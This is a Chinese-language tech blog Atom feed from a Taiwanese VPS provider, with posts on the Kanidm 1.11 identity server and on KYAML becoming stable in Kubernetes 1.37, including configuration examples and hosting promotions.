<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>NCSE Network</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <icon>https://cdn-file.ncse.tw/image/Logo_NCSE_Network_Wing.svg</icon>
  <id>https://blog.ncse.tw/</id>
  <link href="https://blog.ncse.tw/" rel="alternate"/>
  <link href="https://blog.ncse.tw/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, NCSE Network</rights>
  <subtitle>雲端技術實戰知識庫</subtitle>
  <title>NCSE Network Blog</title>
  <updated>2026-09-10T01:13:30.517Z</updated>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="自架服務" scheme="https://blog.ncse.tw/tags/%E8%87%AA%E6%9E%B6%E6%9C%8D%E5%8B%99/"/>
    <category term="Rust" scheme="https://blog.ncse.tw/tags/Rust/"/>
    <category term="Kanidm" scheme="https://blog.ncse.tw/tags/Kanidm/"/>
    <category term="身分驗證" scheme="https://blog.ncse.tw/tags/%E8%BA%AB%E5%88%86%E9%A9%97%E8%AD%89/"/>
    <category term="Passkey" scheme="https://blog.ncse.tw/tags/Passkey/"/>
    <content>
      <![CDATA[<p>自架 SSO 這幾年已經打成群雄割據——Authentik 用 Python 撐起彈性最強的 flow engine、Keycloak 靠 Red Hat 支持吃下最完整的企業協定、Zitadel 用 Go 與事件溯源打進多租戶 SaaS 領域。Kanidm 在這場戰局裡挑了很不一樣的一條路：全用 Rust 從第一行寫起、不接外部 PostgreSQL、不引入 OpenSSL、passkey 是預設而不是加值選項。</p><p>2026 年 8 月釋出的 Kanidm 1.11 把最後一塊 Python 遺產——RADIUS 整合模組 <code>rlm_kanidm</code> 全數換成 Rust，也順手把 schema 從資料庫搬到記憶體、把密碼上限鎖在 128 UTF-8 字元以防 slow-hash DoS。這件事值得討論的點不在 Rust 本身，而在這條路線帶來的架構取捨會直接反映在部署成本、故障面積跟長期升級節奏上——尤其是想用一臺 VPS 就把身分服務打包完的中小組織。</p><h2 id="自建資料庫這一步為什麼賭得下去"><a href="#自建資料庫這一步為什麼賭得下去" class="headerlink" title="自建資料庫這一步為什麼賭得下去"></a>自建資料庫這一步為什麼賭得下去</h2><p>大多數自架 IdP 走的都是「App 靠外部資料庫」的路線：Authentik 要 PostgreSQL + Redis、Zitadel v4 收斂成僅支援 PostgreSQL（v3 之後不再支援 CockroachDB）、Keycloak 要 PostgreSQL 或 MariaDB。Kanidm 反過來，把資料層直接內建在 server binary 裡，底層是自己在 SQLite 上包出來的儲存引擎，複製協定也是自己寫的。</p><p>這個決策在 IdP 這個場景其實比乍看合理。身分資料的存取模式跟一般業務資料庫不一樣：讀多寫少、entry 有嚴謹 schema、cardinality 可預測、需要的 index 種類有限。當存取模式這麼收斂，跑一個通用 RDBMS 反而多養一組維護面。專案作者 William Brown 過去在 SUSE 維護 389 Directory Server 與 FreeIPA 多年，Kanidm 的資料層設計基本上是把 LDAP 的實務經驗重新用 Rust 寫一次，避開 LDAP 那些難以現代化的部分。</p><p>實測數字看得出這個賭注拿到了東西。官方文件公布的 benchmark 顯示，在 3000 使用者、1500 群組的資料集下，Kanidm 搜尋比 FreeIPA 快約 3 倍、修改與新增快約 5 倍。資源規劃上，官方指南建議以每筆 entry 約 64 KB RAM 快取、最多 8 KB 磁碟估算，實際占用會依 schema 與索引設定變動；同規模跟 Authentik + PostgreSQL 堆疊相比通常小上一截。</p><p>代價則寫在複製這件事上。Kanidm 的複製模型是多節點 eventually consistent——所有節點都能接受寫入，不跑 quorum 也沒選主，靠事件在背景收斂。這帶來兩個實務約束：官方指南建議前端搭 sticky session 讓同一使用者黏在同一節點，避免看到自己剛寫入的資料還沒收斂；或直接把拓撲當 active-passive 用、故障時手動 failover。想要跨區真正主動-主動並容忍寫入衝突的組織要自己補這一層 UX；只需要單機加離線備份的中小站則剛好落在甜蜜點上。</p><h2 id="把-OpenSSL-從相依樹裡整片拿掉"><a href="#把-OpenSSL-從相依樹裡整片拿掉" class="headerlink" title="把 OpenSSL 從相依樹裡整片拿掉"></a>把 OpenSSL 從相依樹裡整片拿掉</h2><p>1.10 版本（2026 年 5 月）最有份量的動作是把 OpenSSL 整個從相依樹裡砍掉，改採 RustCrypto 加 Rustls。這在自架服務圈幾乎沒別人做到。</p><p>意義有幾層。一是供應鏈攻擊面：OpenSSL 過去十年出過幾次高 CVSS 的核心 CVE（Heartbleed、Punycode 溢位、X.509 名字約束繞過），每次都是全球一起半夜排 patch。以 Rust 為主體的密碼學堆疊仍會出漏洞，但屬於 memory-safety 類別的漏洞——buffer overflow、use-after-free、double-free——會被編譯期直接擋掉，Kanidm 這條路線能實際削減的正是這一類的攻擊面。要注意的是 Rustls 底層 provider 仍可能選用 C 實作（例如預設支援的 aws-lc-rs），完全純 Rust 建置需要另外指定 provider。</p><p>二是打包難度。過去在 Alpine、musl-based 容器裡編 Kanidm 遇到的問題有九成跟 OpenSSL 有關——動態連結對不上系統版本、跨版本 ABI 崩壞、FIPS 模式切換踩雷。拿掉 OpenSSL 之後 <code>ldd</code> 出來的相依明顯縮短，跨 distro 移植的痛點大幅降低（官方 container 仍是動態連結、非全靜態鏡像）。</p><p>三是 FIPS 這條路。Kanidm 官方目前並未針對其密碼學建置走 FIPS 140-3 驗證流程，需要符合政府或金融合規的組織仍需選擇具備 FIPS 驗證路徑的方案。Kanidm 在文件裡直接說明這點，並建議這類場景考慮 Keycloak，因為它可以搭配過 FIPS 認證的 Java crypto provider。這種明確表態比很多同類專案含糊帶過的態度好得多。</p><h2 id="Passkey-當預設而不是加值選項"><a href="#Passkey-當預設而不是加值選項" class="headerlink" title="Passkey 當預設而不是加值選項"></a>Passkey 當預設而不是加值選項</h2><p>Authentik 與 Keycloak 的 WebAuthn 是「打開之後可以用」，Kanidm 是「passkey 是主流路徑，密碼是備援」。這個差異看似字面遊戲，反映到管理面差很多。</p><p>在 Kanidm 建立新使用者時，預設流程就是登入者用管理員給的一次性連結，在瀏覽器上直接註冊 passkey；沒有預設密碼、沒有臨時密碼寄信、也沒有第一次登入強制改密碼那套流程。Kanidm 也支援 WebAuthn Attestation——企業可以透過 policy 只允許特定廠牌的硬體金鑰（例如白名單 YubiKey、綠芯、Feitian）註冊，這是很多合規場景會強制要求的。Authentik 與 Zitadel 目前都沒把 attestation 政策做到這個顆粒度。</p><p>1.11 版新增的 128 UTF-8 字元密碼上限值得單獨拉出來講。這不是不信任使用者，而是為了防 slow-hash DoS：Argon2id 這類慢雜湊在 512 位元組以上的輸入下，單次驗證會吃掉伺服器數十毫秒 CPU，攻擊者若對登入 API 塞 4 KB 的假密碼連打，一臺 4 vCPU 的 VPS 幾秒內就會被拖垮。128 字元的門檻對真人使用者夠寬鬆，對自動化打點是硬止血。</p><p>值得一提的細節：Kanidm 1.11 起密碼欄位會在瀏覽器端做即時強度提示，但不會把密碼送去外部服務比對，對資安敏感的使用者是加分項。</p><h2 id="Unix-PAM-SSH-這條被大多數-IdP-冷落的線"><a href="#Unix-PAM-SSH-這條被大多數-IdP-冷落的線" class="headerlink" title="Unix&#x2F;PAM&#x2F;SSH 這條被大多數 IdP 冷落的線"></a>Unix&#x2F;PAM&#x2F;SSH 這條被大多數 IdP 冷落的線</h2><p>自架 SSO 的資料主要跑在瀏覽器，但真正在用一群 Linux 主機的團隊要的其實不只 web SSO，還包含 SSH 登入、sudo、nsswitch、home directory 掛載、shell 環境。這一大塊過去只有 FreeIPA 加 SSSD 認真做，門檻高到很多小團隊乾脆放棄 IdP 直接自己維護 <code>authorized_keys</code>。</p><p>Kanidm 從第一天就把這條線放進核心：<code>kanidm-unixd</code> 是常駐在每臺 Linux 主機上的 client daemon，直接接 NSS 與 PAM，本地帳號、群組、SSH 公鑰、憑證都從 Kanidm 拉過來，並支援本地快取讓網路中斷或離線時仍能登入。sudo 授權則仍由主機端的 <code>/etc/sudoers</code> 或 <code>sudoers.d</code> 管理，並非由 Kanidm server 集中下發，這點與 FreeIPA 的 SUDO rule 分發差別要放心裡。1.10 版加入的 bind mount home directory 支援解決了 symlink 在某些 filesystem 或 SELinux 情境下出問題的老 bug——現在可以把 <code>/home/user</code> 直接 bind 到實體資料夾，不再靠可能被 policy 擋掉的 symlink。</p><p>對於管理一群 VPS 的團隊，這代表新機開通只要裝 unixd、指向 Kanidm、把使用者與群組加上 POSIX 擴充屬性，該人就能用 passkey 登 web 介面、用 SSH key 登主機、用主機端 sudoers 授予的權限執行指令。要注意撤銷不是即時的：unixd 有本地快取與離線登入設計，實際失效時間取決於 <code>cache_timeout</code> 與離線登入允許期間；對安全敏感的環境建議把 timeout 調短、並在停用帳號時另外強制清 cache。</p><p>拿這功能對照 Authentik 或 Zitadel 分工不同：Authentik 本身提供 LDAP outpost 可以讓 Linux 主機透過 SSSD 對接，但整套 Unix 側依舊靠 SSSD 處理；Zitadel 則沒有內建的 Unix client。Kanidm 把 client daemon 一併寫進專案，堆疊統一在同一套工具鏈上，維護面小上一截。</p><h2 id="部署面：一顆-binary-加一份-config"><a href="#部署面：一顆-binary-加一份-config" class="headerlink" title="部署面：一顆 binary 加一份 config"></a>部署面：一顆 binary 加一份 config</h2><p>實務部署最簡單的樣子就是拉官方 container image、掛一個 volume 存 SQLite、給一份 TLS 憑證（Kanidm 堅持強制 HTTPS，沒有 plaintext HTTP 模式）：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">kanidm:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">kanidm/server:1.11.1</span></span><br><span class="line">    <span class="attr">hostname:</span> <span class="string">idm.example.tw</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;443:8443&quot;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;636:3636&quot;</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./data:/data</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./tls:/tls:ro</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="attr">KANIDM_DOMAIN:</span> <span class="string">&quot;idm.example.tw&quot;</span></span><br><span class="line">      <span class="attr">KANIDM_ORIGIN:</span> <span class="string">&quot;https://idm.example.tw&quot;</span></span><br><span class="line">      <span class="attr">KANIDM_TLS_CHAIN:</span> <span class="string">&quot;/tls/fullchain.pem&quot;</span></span><br><span class="line">      <span class="attr">KANIDM_TLS_KEY:</span> <span class="string">&quot;/tls/privkey.pem&quot;</span></span><br><span class="line">      <span class="attr">KANIDM_BINDADDRESS:</span> <span class="string">&quot;0.0.0.0:8443&quot;</span></span><br><span class="line">      <span class="attr">KANIDM_LDAPBINDADDRESS:</span> <span class="string">&quot;0.0.0.0:3636&quot;</span></span><br></pre></td></tr></table></figure><p><code>KANIDM_DOMAIN</code> 與 <code>KANIDM_ORIGIN</code> 兩項是必要的——<code>origin</code> 是 WebAuthn 綁定的 URL，上線後改 domain 需執行 <code>kanidmd domain rename</code> 且會使既有 WebAuthn 與 OAuth token 全部失效，開頭就要規劃好。一臺 2 vCPU、2 GB RAM 的 VPS 就能跑 5000 使用者規模的正式環境，開啟 LDAPS 後讓 Grafana、Vaultwarden、Immich、Nextcloud 這些自架服務走 OIDC 對接沒有問題。</p><p>備份是 offline 操作：停止容器後執行 <code>kanidmd database backup -c /data/server.toml /backup/kanidm.backup.json</code>，產出的 JSON 檔交給 restic 或 borg 做加密異地保存。想要不停機，<code>server.toml</code> 可以開 <code>online_backup</code> 讓服務定時產出 snapshot；還原命令為 <code>kanidmd database restore</code>，官方要求使用與備份相同版本的 server binary。</p><p><code>kanidmd configtest</code> 子指令能在啟動前驗證 config，抓出憑證錯誤、DNS 對不到、時區跑掉這類部署常見的坑，這比要看 log 才發現的體驗好上一截。</p><h2 id="三個-IdP-的選型建議"><a href="#三個-IdP-的選型建議" class="headerlink" title="三個 IdP 的選型建議"></a>三個 IdP 的選型建議</h2><p>一個大原則：組織規模與整合需求，決定 Kanidm 是否合適。</p><p>值得選 Kanidm 的組合有：使用者數在 5 千以內、需要把 Linux SSH&#x2F;PAM&#x2F;sudo 一起管、想要 passkey 為預設、希望砍掉外部 DB 相依、對供應鏈安全（無 OpenSSL）在意。臺灣中小型 SaaS、學術實驗室、Web3 團隊、少數 sysadmin 撐起來的內部工具站，多半落在這個範圍。</p><p>不建議選 Kanidm 的場景包括：需要 SAML 為主的舊系統對接（Kanidm 1.11 尚未提供 SAML IdP，只支援 OAuth2&#x2F;OIDC；仍要 SAML 就得選 Keycloak 或 Authentik）、需要企業級 IdP-brokering（把多家外部 IdP 統合起來，Keycloak 是首選）、需要 SaaS 樣板的多租戶隔離（Zitadel 為此而生）、需要極度自訂的登入 flow（Authentik 的 flow engine 沒有對手）、需要 FIPS 認證的合規場景。</p><p>至於已經跑 Authentik 或 Keycloak 且運作良好的組織，沒有非搬不可的理由。Kanidm 的價值在新專案或想把身分基礎設施做小、做穩的重構場景，不在替換一個運作中的系統。</p><h2 id="把身分服務放在自己控制的機器上"><a href="#把身分服務放在自己控制的機器上" class="headerlink" title="把身分服務放在自己控制的機器上"></a>把身分服務放在自己控制的機器上</h2><p>Kanidm 1.11 這一版把 Rust 原生路線走完最後一哩路。對於選型階段還在 Authentik、Zitadel、Keycloak 三個選項裡糾結的組織，多加一個 Kanidm 進來會發現它把「小而完整」這條軸線拉到目前的最高點——SSO、Unix&#x2F;PAM、SSH、WebAuthn、RADIUS 都在同一套專案的堆疊裡（<code>kanidmd</code> 為 server、<code>kanidm-unixd</code> 為 Unix client、<code>rlm_kanidm</code> 為 RADIUS 模組），無 PostgreSQL、無 Redis、無 OpenSSL。</p><p>實際上線之前建議先在測試 VPS 上跑滿一週，把 passkey 註冊、OIDC 對接自架服務、SSH 登入、備份還原、憑證輪替這五件事各走過一遍，就能確認組織的流程能不能承接這種「passkey 為預設」的心態切換——這才是 Kanidm 最需要適應的部分，不是技術。</p><p>NCSE Network 提供臺灣本地的高效能 VPS 主機（Intel Gold CPU、NVMe SSD、是方電訊機房），適合部署 Kanidm、Authentik 這類需要低延遲、穩定電力與可控網路環境的自架身分服務。想把 SSO 從第三方 SaaS 搬回自己機房、或是評估 Rust 原生 IdP 的部署架構時，可以直接聯絡 NCSE Network 討論規劃。</p>]]>
    </content>
    <id>https://blog.ncse.tw/kanidm-1-11-rust-native-idp-sqlite-webauthn-authentik-keycloak-alternative/</id>
    <link href="https://blog.ncse.tw/kanidm-1-11-rust-native-idp-sqlite-webauthn-authentik-keycloak-alternative/"/>
    <published>2026-09-09T03:30:00.000Z</published>
    <summary>Kanidm 走的是 Rust 原生 IdP 路線。1.11 版把最後一塊 Python 遺產 rlm_kanidm 換成 Rust，1.10 版整個捨棄 OpenSSL。本文拆解它自建資料庫、passkey-first 的架構賭注，以及對比 Authentik、Keycloak、Zitadel 的實務取捨。</summary>
    <title>Kanidm 1.11 用自家資料庫繞開 PostgreSQL、把 OpenSSL 也拆了：Rust 原生 IdP 對 Authentik 與 Keycloak 的差異化路線</title>
    <updated>2026-09-10T01:13:30.517Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="Kubernetes" scheme="https://blog.ncse.tw/tags/Kubernetes/"/>
    <category term="KYAML" scheme="https://blog.ncse.tw/tags/KYAML/"/>
    <category term="YAML" scheme="https://blog.ncse.tw/tags/YAML/"/>
    <category term="Helm" scheme="https://blog.ncse.tw/tags/Helm/"/>
    <category term="GitOps" scheme="https://blog.ncse.tw/tags/GitOps/"/>
    <content>
      <![CDATA[<p>Kubernetes 1.37「Garhwal」在 2026 年 8 月 26 日釋出，release note 裡最不起眼但影響面最大的改動，是 KYAML 正式進入 stable。這件事對只在意「pod 有沒有跑起來」的使用者沒差，對維護幾百份 manifest、每天在 Helm template 跟 GitOps repo 之間打滾的 platform team 來說，是十年來 YAML 第一次真正被收乾淨的機會。SIG CLI 從 KEP-5295 開始推，1.34 進 alpha、1.35 到 beta、1.37 GA，中間補上 conformance test，<code>kubectl get -o kyaml</code> 從此是穩定介面。</p><p>KYAML 本質上是 YAML 的嚴格子集，不是新語言、不需要新 parser。任何一份 KYAML 文件都是合法的 YAML，可以被現有工具鏈直接吃下去。它做的事情只有一件：把 YAML 那些會咬人的模糊語意全部關掉，用花括號、方括號、強制雙引號跑出一種看起來有點像 JSON、但保留註解跟尾逗號、且對縮排完全不敏感的格式。</p><h2 id="Norway-bug-十年沒補、Helm-indentation-是另一個時間炸彈"><a href="#Norway-bug-十年沒補、Helm-indentation-是另一個時間炸彈" class="headerlink" title="Norway bug 十年沒補、Helm indentation 是另一個時間炸彈"></a>Norway bug 十年沒補、Helm indentation 是另一個時間炸彈</h2><p>YAML 1.1 規範裡把 <code>y</code>、<code>Y</code>、<code>yes</code>、<code>Yes</code>、<code>YES</code>、<code>n</code>、<code>N</code>、<code>no</code>、<code>No</code>、<code>NO</code>、<code>on</code>、<code>off</code> 全部視為布林。這件事在 config 檔裡的後果就是那個著名的 Norway bug：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">countries:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="literal">NO</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">SE</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">FI</span></span><br></pre></td></tr></table></figure><p>parser 讀進來 <code>NO</code> 變成 <code>false</code>，挪威從清單裡消失。這不是理論問題，Ansible、Helm、Kubernetes manifest 都出過類似災情。同樣的問題也發生在版本號跟 MAC address：<code>version: 1.10</code> 有時被讀成浮點數 <code>1.1</code>、<code>address: 0x0a:0x1b</code> 被讀成什麼要看 parser 心情。標準做法是全部字串加引號，但這件事沒人強制執行，code review 也很少抓。</p><p>比 Norway bug 更痛的是 Helm chart 的縮排問題。Helm template 是用文字取代的方式產生 YAML，<code>&#123;&#123; toYaml .Values.env | nindent 8 &#125;&#125;</code> 這種寫法本質上是在賭渲染出來的空白會落在正確的縮排層級。改一次上層結構、多包一層 <code>if</code>，下游 template 的縮排常常要跟著調兩三處。渲染完的 YAML 語法上合法、marshal 也不會炸，但物件層級整個歪掉，跑起來才會發現 sidecar container 被塞成 pod 的 label。</p><p>這兩個問題本質相同：YAML 規範太寬鬆，把型別推斷跟結構判定都交給實作決定，寫的人跟讀的人的心智模型很難對齊。JSON 是另一個極端——沒有註解、不能有尾逗號、每個 key 都要引號、寫組態很痛苦。KYAML 選擇在中間畫線。</p><h2 id="為什麼是花括號、強制引號、還要-—-開頭"><a href="#為什麼是花括號、強制引號、還要-—-開頭" class="headerlink" title="為什麼是花括號、強制引號、還要 — 開頭"></a>為什麼是花括號、強制引號、還要 — 開頭</h2><p>KYAML 的語法規則可以濃縮成幾條：所有 struct 跟 map 用花括號 <code>&#123;&#125;</code>、所有 list 用方括號 <code>[]</code>、所有字串值強制雙引號、每個元素後面接 trailing comma、key 除非本身是型別關鍵字（<code>no</code>、<code>yes</code>、<code>on</code> 這類）否則不加引號、兩格縮排維持慣例。純數字、布林、null 照原樣寫，不加引號。</p><p>一份 Service 用 KYAML 表達出來長這樣：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="attr">apiVersion:</span> <span class="string">&quot;v1&quot;</span>,</span><br><span class="line">  <span class="attr">kind:</span> <span class="string">&quot;Service&quot;</span>,</span><br><span class="line">  <span class="attr">metadata:</span> &#123;</span><br><span class="line">    <span class="attr">name:</span> <span class="string">&quot;hostnames&quot;</span>,</span><br><span class="line">    <span class="attr">labels:</span> &#123;</span><br><span class="line">      <span class="attr">app:</span> <span class="string">&quot;hostnames&quot;</span>,</span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="attr">spec:</span> &#123;</span><br><span class="line">    <span class="attr">selector:</span> &#123;</span><br><span class="line">      <span class="attr">app:</span> <span class="string">&quot;hostnames&quot;</span>,</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">ports:</span> [&#123;</span><br><span class="line">      <span class="attr">port:</span> <span class="number">80</span>,</span><br><span class="line">      <span class="attr">targetPort:</span> <span class="number">9376</span>,</span><br><span class="line">    &#125;],</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>開頭那個 <code>---</code> 不是裝飾。KYAML 跟 JSON 都以 <code>&#123;</code> 開頭，parser 無法從第一個字元判斷是哪個格式。document separator 補上去之後，YAML parser 立刻確定這是 YAML 文件、走 YAML 分支處理，不會誤觸嚴格 JSON 模式。</p><p>強制雙引號解掉 Norway bug——<code>NO</code> 變成 <code>&quot;NO&quot;</code> 就是字串，沒有型別歧義的空間。花括號解掉縮排敏感——<code>&#123; a: 1, b: 2 &#125;</code> 跟 <code>&#123;a:1,b:2&#125;</code> 甚至跨多行的寫法，parser 判定結果完全一樣。這件事對 Helm 是決定性的：template 產出來的 KYAML 不管 <code>nindent</code> 給的空白數對不對，只要花括號配對正確，物件結構就穩。</p><p>trailing comma 這條看起來很小，實際上省掉大量 diff noise。加一行 list 元素、diff 出來只有新增那一行，不會因為前一行原本沒逗號、現在要補上而多動一行。code review 讀起來乾淨、merge conflict 也少。</p><h2 id="kubectl-端的三段生命週期跟-KUBECTL-KYAML"><a href="#kubectl-端的三段生命週期跟-KUBECTL-KYAML" class="headerlink" title="kubectl 端的三段生命週期跟 KUBECTL_KYAML"></a>kubectl 端的三段生命週期跟 KUBECTL_KYAML</h2><p><code>kubectl get -o kyaml</code> 是 KYAML 對外的主要接觸面，行為隨版本推進：</p><ul><li><strong>1.34 alpha</strong>：<code>KUBECTL_KYAML=&quot;true&quot;</code> 才啟用。沒設環境變數的話 <code>-o kyaml</code> 會噴 unknown output format</li><li><strong>1.35 beta</strong>：預設啟用，<code>KUBECTL_KYAML=&quot;false&quot;</code> 才會關掉。這個階段是回歸測試的窗口，發現問題可以先關回去</li><li><strong>1.37 GA</strong>：環境變數整個移除，<code>-o kyaml</code> 永遠可用</li></ul><p>實作路徑值得注意。KYAML 不是直接從 YAML 轉 YAML，而是先 marshal 成 JSON、再 render 成 KYAML。這個設計把 JSON tag 的既有邏輯全部拿來用，避開了 Go 的 YAML 函式庫在 comment 保留、anchor 處理上一堆已知 bug。副作用是 anchor、alias、explicit tag 這些 YAML 高階特性在 KYAML 輸出裡會被 reify——展開成實際值，原本共用的錨點消失。手寫 YAML 依賴 anchor 減少重複的做法，一旦跑過 <code>-o kyaml</code> 就回不去了。</p><p><code>kubectl edit</code> 目前預設仍走傳統 YAML。要 edit 出來就是 KYAML 得先設 <code>KUBECTL_EDITOR_OUTPUT=kyaml</code>（實作在 1.37 還在 beta 階段），實務上 GitOps 環境比較少用 edit，這件事影響有限。</p><h2 id="遷移策略：從-output-看起、不必急著改寫-chart"><a href="#遷移策略：從-output-看起、不必急著改寫-chart" class="headerlink" title="遷移策略：從 output 看起、不必急著改寫 chart"></a>遷移策略：從 output 看起、不必急著改寫 chart</h2><p>正確的導入順序是先把 KYAML 當 output 用、不動 source of truth。日常操作把 <code>kubectl get -o kyaml</code> 加進 alias、debug 時看 KYAML 版本的物件，眼睛先適應花括號。這步幾乎零成本，因為 KYAML 是合法 YAML，<code>kubectl apply -f</code> 直接吃。</p><p>第二步是新寫的 manifest 直接用 KYAML。這個階段最省事，沒有轉檔顧慮、沒有 anchor 消失的問題，寫起來也比傳統 YAML 少踩雷。搭配 <code>kubectl-neat</code> 或 <code>kubectl get ... -o kyaml | sed</code> 這類 pipeline 可以快速從 cluster 撈出乾淨版本當範本。</p><p>Helm chart 遷移是最麻煩的一段，短期內不建議整包重寫。Helm 3.15 之後的 template engine 對 KYAML 輸出有基本支援，但 built-in <code>toYaml</code>、<code>nindent</code> 這些 helper 仍然只吐傳統 YAML。想在 chart 裡混用 KYAML 需要自己寫 <code>toKyaml</code> 這類 template function，或改用 <code>kubectl kustomize</code> 的 KYAML output。實務上比較穩的做法是：chart 內部繼續維持 YAML、CD pipeline 最後把渲染結果轉一次 KYAML 再送進 cluster，把「渲染錯誤」跟「格式錯誤」兩件事分開。</p><p>CI 側可以引入 <code>hack/verify-yamlfmt.sh</code> 這個 kubernetes 上游用來 lint KYAML 格式的工具。這支 script 支援 opt-in 模式，per-file 決定用傳統 YAML 或 KYAML 規則檢查，重構過渡期不會一次要求全部改完。</p><h2 id="KYAML-撐不住的兩個場景"><a href="#KYAML-撐不住的兩個場景" class="headerlink" title="KYAML 撐不住的兩個場景"></a>KYAML 撐不住的兩個場景</h2><p>多行字串是 KYAML 目前最明顯的短板。傳統 YAML 的 block scalar（<code>|</code> 跟 <code>&gt;</code>）保留原始換行的能力在 KYAML 裡沒有直接對應，必須寫成 <code>&quot;first line\nsecond line\nthird line&quot;</code> 這種帶 <code>\n</code> escape 的長字串。ConfigMap 裡塞 shell script、nginx.conf、Envoy config 這類多行內容，用 KYAML 表達會顯著變醜、可讀性下降。這種場景 KEP 的建議是保留傳統 YAML block 寫法。</p><p>第二個限制是 non-string map key。YAML 允許整數、布林當 key，KYAML 因為底層走 JSON marshal 的關係不支援。這個場景在 Kubernetes manifest 裡罕見（幾乎沒有），但如果 chart values 有這種寫法，轉 KYAML 會直接 fail、不是自動降級。</p><h2 id="該不該現在就切過去"><a href="#該不該現在就切過去" class="headerlink" title="該不該現在就切過去"></a>該不該現在就切過去</h2><p>答案分兩層。日常 kubectl 操作直接把 <code>-o kyaml</code> 當預設用，收益立刻兌現、成本接近零。source of truth 這一層，如果是 GitOps 全新 repo、Helm 依賴不重、團隊願意投資新語法認知成本，KYAML 現在切過去是划算的；反過來已經有大量 Helm chart 跟 Kustomize overlay 的環境，等 Helm 官方把 <code>toKyaml</code> helper 收進 upstream 再遷移比較實際。</p><h2 id="在臺灣-VPS-上跑-Kubernetes-順手驗一次-KYAML"><a href="#在臺灣-VPS-上跑-Kubernetes-順手驗一次-KYAML" class="headerlink" title="在臺灣 VPS 上跑 Kubernetes 順手驗一次 KYAML"></a>在臺灣 VPS 上跑 Kubernetes 順手驗一次 KYAML</h2><p>要把 KYAML 的行為差異弄清楚，最直接的路徑是開一臺 VPS、跑 kind 或 k3s 拉一個 1.37 cluster，把 <code>KUBECTL_KYAML</code> 三個階段的行為都試一輪。NCSE Network 的 VPS 主機建置在臺灣是方電訊機房，Intel Gold CPU 加 NVMe SSD 對 kubelet 跟 etcd 這種 I&#x2F;O 敏感的元件跑起來很穩，Debian 13、Ubuntu 26.04 等映像檔開箱即用、kernel 6.x 全支援 cgroup v2。想了解方案細節，可以到 <a href="https://ncse.tw/">ncse.tw</a> 查看。</p>]]>
    </content>
    <id>https://blog.ncse.tw/kubernetes-1-37-kyaml-stable-norway-bug-helm-indent-flow-style/</id>
    <link href="https://blog.ncse.tw/kubernetes-1-37-kyaml-stable-norway-bug-helm-indent-flow-style/"/>
    <published>2026-09-08T10:20:00.000Z</published>
    <summary>Kubernetes 1.37「Garhwal」把 KYAML 推到 GA，kubectl get -o kyaml 從此是穩定介面。這篇拆解 KYAML 為什麼要選 flow style、KUBECTL_KYAML 環境變數在 alpha/beta/GA 三個階段的行為差異，以及既有 Helm chart 到底該不該跟著改寫。</summary>
    <title>KYAML 從 1.34 熬到 Kubernetes 1.37 stable：用花括號跟強制引號把 Norway bug 跟 Helm 縮排地雷一次拆掉</title>
    <updated>2026-09-10T01:13:30.517Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="SQLite" scheme="https://blog.ncse.tw/tags/SQLite/"/>
    <category term="celld" scheme="https://blog.ncse.tw/tags/celld/"/>
    <category term="Durable Objects" scheme="https://blog.ncse.tw/tags/Durable-Objects/"/>
    <category term="LTX" scheme="https://blog.ncse.tw/tags/LTX/"/>
    <category term="S3 一致性" scheme="https://blog.ncse.tw/tags/S3-%E4%B8%80%E8%87%B4%E6%80%A7/"/>
    <category term="Ryan Dahl" scheme="https://blog.ncse.tw/tags/Ryan-Dahl/"/>
    <content>
